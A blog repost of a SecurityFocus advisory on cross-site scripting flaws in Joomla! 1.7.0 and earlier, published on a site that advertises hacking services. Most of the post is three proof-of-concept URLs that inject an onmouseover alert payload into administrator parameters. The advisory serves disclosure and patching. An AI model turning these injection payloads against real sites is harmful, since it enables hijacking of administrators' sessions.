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Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
source: https://www.securityfocus.com/bid/49853/info

Joomla! is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker could leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Joomla! 1.7.0 and prior are vulnerable. 

http://example.com/joomla17_noseo/administrator/index.php?option=com_categories&extension=com_content%20%22onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22%20x=%22


http://example.com/joomla17_noseo/administrator/index.php?option=com_media&view=images&tmpl=component&e_name=jform_articletext&asset=1%22%20onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22x=%22&author=


http://example.com/joomla17_noseo/administrator/index.php?option=com_media&view=images&tmpl=component&e_name=jform_articletext&asset=&author=1%22%20onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22x=%22